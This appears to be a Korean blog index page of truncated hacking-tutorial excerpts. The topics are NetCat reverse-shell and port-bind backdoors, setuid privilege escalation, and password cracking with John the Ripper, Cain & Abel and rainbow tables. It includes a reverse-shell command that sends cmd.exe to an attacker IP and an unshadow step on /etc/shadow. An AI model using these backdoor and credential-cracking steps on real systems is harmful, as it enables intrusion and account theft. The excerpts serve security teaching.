Hacking/System Hacking 18

Backdoor - NetCat (리버스 텔넷)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 외부에서 들어오는 포트에 대해 강력하게 통제된 곳에서 이용할 수 있는 방법입니다. 내부에서 외부로 나가는 데에는 통제가 안되어 있는 것을 이용합니다.(방화벽 우회) 공격자는 대기 상태로 유지합니다. 희생자는 공격자의 아이피로 접속을 합니다. 접속하게 되면 희생자의 콘솔 창이 뜨게 됩니다. NetCat 명령어 nc -l -p 5555 -l 대기 상태 -p 포트 nc -e cmd.exe (공격자 ip) (포트 번호) nc -e cmd.exe 111.111.111.111 5555

Backdoor - NetCat(Portbind)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. Portbind는 소켓 통신에 대해 지식이 필요합니다. 소스 코드에 대해 따로 설명을 붙이지 않습니다. #include #include #include #include #include #include int main() { int clientfd,sockfd; int dstport = 12345; char *hack[2]; hack[0] = "/bin/sh"; hack[1] = 0; struct sockaddr_in mysockaddr; 소스코드 생략... 동작원리는 공격받는 컴퓨터에서 특정 포트를 열고 대기하는 상태로 두며 공격자는 외부에서 열린 포트로 접속하게 되면서 관리자 권한을 얻는 원리입니다. 먼저 방화벽을..

Linux Setuid(권한 상승)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. setuid bit 설정은 파일 소유자의 권한으로 실행할 수 있게 합니다. root 관리자의 소유 파일이 이 권한 설정이 되어있다면 관리자 권한을 빌려서 프로그램을 구동할 수 있습니다. setuid는 chmod로 설정할 수 있습니다 setuid = 4000 setgid = 2000 sticky bit = 1000 (공용 디렉터리) 동작 구조는 이렇게 진행됩니다. Real user id(RUID) 프로세스를 시작하는 사용자 결정 Effective user id(EUID) 프로세스에 대한 권한 결정 - (setuid 설정시) Saved user id(SUID) 동작을 다 끝내고 이전 EUID로 돌아오기 위해 EUID를 ..

john the ripper (linux 계정 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. http://www.openwall.com/john/ 이 홈페이지에 있는 John the Ripper 1.8.0 (sources, tar.gz, 5.2 MB) 이것을 리눅스로 다운로드한다. 받은 파일을 압축 푼다. tar zxvf john-1.8.0/src로 들어온다 make 명령어를 입력한다. make clean SYSTEM 입력한다. make clean generic 입력한다. (gcc가 깔려 있어야 함) john-1.8.0/run으로 이동한다 ./unshadow /etc/passwd /etc/shadow > mypasswd 한다 관련 정보 http://www.openwall.com/john/doc/EXAMPLE..

Unsecure (FTP 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 사용법 공격할 FTP의 주소, 포트 계정 필요하면 사전 파일 Attack options 사전 공격 무작위 공격 연결이 끊어지면 자동 연결 100번 시도 때마다 자동 저장 Brute force options 패스워드 패턴에 따른 요소 체크 Number of characters to start on 처음 시작할 글자 개수(최소 글자 제한)

Cain & Abel (윈도우 계정 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 윈도우 계정 암호화 알고리즘은 ntlm입니다 Cracker 탭으로 이동합니다. 테스트를 하기 위해 윈도우 계정(관리자)을 하나 생성하고 비밀번호를 설정합니다.(간단하게) 저는 hacker 계정을 생성했고 6자리 비밀번호를 설정했습니다. 왼쪽 탭에 여러 가지 해시 알고리즘이 있습니다. 윈도우계정은 ntlm이기 때문에 가장 상단에 있는 목록을 클릭하시고 + 아이콘을 누릅니다. next를 누릅니다. 윈도우에 있는 계정이 표시가 나옵니다. 우리는 생성한 계정을 크래킹 하기 원하기 때문에 생성한 계정에 우 클릭을 합니다. Dictionary Attack 사전 대입 공격 Brute-Force Attack 무작위 대입 공격 Cr..

Rainbow Table 생성 (Winrtgen)

레인보우 테이블 생성하는 프로그램입니다. http://www.oxid.it/projects.html oxid.it www.oxid.it 각종 해시에 대한 테이블을 생성할 수 있습니다. Min Len : 최소 글자 수 Max Len : 최대 글자 수 Chain Len : 체인 길이 Chain Count : 체인 카운트 N˚ of tables : 테이블 개수 조합할 문자 선택 Benchmark 버튼을 누르면 해당 설정에 대한 벤치가 나옵니다. Success probability : 성공률 Total precomputation time : 테이블 생성 완료 시간 성공률이 최소 65프로 이상은 나와야 합니다. 이 성공률을 높이기 위해서 테이블 개수를 증가시킬 수 있습니다. 테이블을 200개로 증가하니 93.94..

Password Cracking의 방법

1. 사전 대입 공격(Dictionary Attack) 사용자의 패스워드에 패턴이 존재함을 착안하여 패스워드로 사용될 만한 내용을 사전 파일로 만든 뒤 하나씩 대입하는 방법 ex) 패스워드가 4자리 숫자로 되어있다면. 0000~9999의 사전 파일을 이용해 대입 공격 2. 무작위 대입 공격(Brute Force Attack) 영어 숫자 특수문자 중 공격할 패턴을 선택하고 패스워드의 길이를 선택 후 모든 경우의 수로 공격 짧은 길이와 단순한 패턴에 효율적 3. 레인보우 테이블 공격(Rainbow Table Attack) 패스워드 별로 해시 값을 생성해 놓은 테이블을 이용 크래킹 하고자 하는 해시 값이 있는 테이블을 이용하여 역으로 패스워드 확인 R 함수 해시 테이블의 해시 값으로 패스워드 문자열을 만들어내..